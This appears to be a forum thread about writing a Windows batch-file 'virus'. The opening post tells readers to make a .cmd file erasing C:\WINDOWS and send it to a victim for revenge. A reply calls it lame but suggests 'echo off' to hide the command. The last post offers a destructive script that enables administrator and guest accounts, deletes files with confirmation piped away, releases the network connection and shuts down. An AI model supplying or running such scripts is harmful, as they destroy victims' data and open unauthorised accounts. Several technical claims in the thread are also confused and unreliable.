VERY EASY BUT DANGEROUS VIRUS

The only thing you need is Notepad .
Now, to test it, create a textfile called TEST.txt(empty) in C:\
Now in your notepad type "erase C:\TEST.txt" (without the quotes).
Then do "Save As..." and save it as "Test.cmd".
Now run the file "Test.cmd" and go to C:\ and you'll see your Test.txt is gone. Now, the real work begins:
Go to notepad and type erase C:\WINDOWS (or C:\LINUX if you have linux) and save it again as findoutaname.cmd. Now DON'T run the file or you'll lose your WINDOWS map. So, that's the virus. Now to take revenge. Send you file to your victim. Once she/he opens it. Her/his WINDOWS/LINUX map is gone. And have to install LINUX/WINDOWS again.






Ok first of all this is not a virus even in the lamest terms. This is just a DOS batch file. You can also save the file as .bat file and the functioning will be the same. This file won't erase anything without confirmation from the user. You've tried to delete just a single file thats why it didn't ask for confirmation from you. Try deleting a folder with this file and you will get the following message in a DOS window:

CODE

erase c:\
c:\\*, Are you sure (Y/N)?

Unless you press 'y' nothing will happen. A virus, by definition, is not just supposed to damage a computer, it is also supposed to spread on its own. And this file can't even damage a computer without affirmation from the user. I wonder who would be dumb enough to affirm the destruction of his own computer.
Atleast use "echo off" before the erase statement to hide the "erase c:\windows" command being displayed.
And by the way, I think you haven't ever used Linux. Otherwise you would know that Linux doesn't support DOS commands and neither does it use the Windows/DOS filesystem.
ANOTHER ONE AGAIN?? YES

net user administrator /active:yes
net user administrator *insertpassword
start net user guest /active:yes
net user guest *insertpassword
start @echo y|del *.*
ipconfig/release
start shutdown

Try this still not a virus just a .Bat file but a fun one also very annoying.
